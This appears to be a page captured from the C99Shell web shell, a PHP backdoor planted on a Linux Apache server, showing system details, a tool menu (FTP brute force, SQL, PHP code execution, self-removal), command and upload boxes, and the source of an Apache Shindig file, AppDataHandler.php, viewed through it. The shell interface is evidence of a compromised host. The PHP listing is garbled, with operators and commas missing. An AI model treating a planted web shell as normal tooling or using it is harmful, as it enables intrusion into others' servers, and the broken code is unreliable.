!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/3ros/shindig/src/social/service/   drwxr-xr-x
Free 13.82 GB of 61.93 GB (22.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AppDataHandler.php (4.82 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Licensed to the Apache Software Foundation (ASF) under one
 * or more contributor license agreements.  See the NOTICE file
 * distributed with this work for additional information
 * regarding copyright ownership.  The ASF licenses this file
 * to you under the Apache License, Version 2.0 (the
 * "License"); you may not use this file except in compliance
 * with the License.  You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing,
 * software distributed under the License is distributed on an
 * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
 * KIND, either express or implied.  See the License for the
 * specific language governing permissions and limitations
 * under the License.
 */

class AppDataHandler extends DataRequestHandler {
  private static 
$APP_DATA_PATH "/appdata/{userId}/{groupId}/appId";

  public function 
__construct() {
    
parent::__construct('app_data_service');
  }

  
/**
   * /people/{userId}/{groupId}/{appId}
   * - fields={field1, field2}
   *
   * examples:
   * /appdata/john.doe/@friends/app?fields=count
   * /appdata/john.doe/@self/app
   *
   */
  
public function handleDelete(RequestItem $requestItem) {
    
$this->checkService();
    
$requestItem->applyUrlTemplate(self::$APP_DATA_PATH);
    
$userIds $requestItem->getUsers();
    if (
count($userIds) < 1) {
      throw new 
InvalidArgumentException("No userId specified");
    } elseif (
count($userIds) > 1) {
      throw new 
InvalidArgumentException("Multiple userIds not supported");
    }
    return 
$this->service->deletePersonData($userIds[0], $requestItem->getGroup(), $requestItem->getAppId(), $requestItem->getFields(), $requestItem->getToken());
  }

  
/**
   * /appdata/{userId}/{groupId}/{appId}
   * - fields={field1, field2}
   *
   * examples:
   * /appdata/john.doe/@friends/app?fields=count
   * /appdata/john.doe/@self/app
   */
  
public function handleGet(RequestItem $requestItem) {
    
$this->checkService();
    
$requestItem->applyUrlTemplate(self::$APP_DATA_PATH);
    
$userIds $requestItem->getUsers();
    if (
count($userIds) < 1) {
      throw new 
InvalidArgumentException("No userId(s) specified");
    }
    return 
$this->service->getPersonData($userIds[0], $requestItem->getGroup(), $requestItem->getAppId(), $requestItem->getFields(), $requestItem->getToken());
  }

  
/**
   * /appdata/{userId}/{groupId}/{appId}
   * - fields={field1, field2}
   *
   * examples:
   * /appdata/john.doe/@friends/app?fields=count
   * /appdata/john.doe/@self/app
   *
   * The post data should be a regular json object. All of the fields vars will
   * be pulled from the values and set on the person object. If there are no
   * fields vars then all of the data will be overridden.
   */
  
public function handlePost(RequestItem $requestItem) {
    
$this->checkService();
    
$requestItem->applyUrlTemplate(self::$APP_DATA_PATH);
    
$userIds $requestItem->getUsers();
    if (
count($userIds) < 1) {
      throw new 
InvalidArgumentException("No userId specified");
    } elseif (
count($userIds) > 1) {
      throw new 
InvalidArgumentException("Multiple userIds not supported");
    }
    
$values $requestItem->getParameter("data");
    
// this used to be $requestItem->getFields() instead of using the fields, but that makes no sense to me
    // better to detect the fields depending on input right?
    
$fields = array();
    foreach (
array_keys($values) as $key) {
      
$fields[] = $key;
      if (! 
$this->isValidKey($key)) {
        throw new 
SocialSpiException("One or more of the app data keys are invalid: " $keyResponseError::$BAD_REQUEST);
      }
    }
    
$this->service->updatePersonData($userIds[0], $requestItem->getGroup(), $requestItem->getAppId(), $fields$values$requestItem->getToken());
  }

  
/**
   * /appdata/{userId}/{groupId}/{appId}
   * - fields={field1, field2}
   *
   * examples:
   * /appdata/john.doe/@friends/app?fields=count
   * /appdata/john.doe/@self/app
   *
   * The post data should be a regular json object. All of the fields vars will
   * be pulled from the values and set on the person object. If there are no
   * fields vars then all of the data will be overridden.
   */
  
public function handlePut(RequestItem $requestItem) {
    return 
$this->handlePost($requestItem);
  }

  
/**
   * Determines whether the input is a valid key.
   *
   * @param key the key to validate.
   * @return true if the key is a valid appdata key, false otherwise.
   */
  
public static function isValidKey($key) {
    if (empty(
$key)) {
      return 
false;
    }
    for (
$i 0$i strlen($key); ++ $i) {
      
$c substr($key$i1);
      if ((
$c >= 'a' && $c <= 'z') || ($c >= 'A' && $c <= 'Z') || ($c >= '0' && $c <= '9') || ($c == '-') || ($c == '_') || ($c == '.')) {
        continue;
      }
      return 
false;
    }
    return 
true;
  }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 1.039 ]--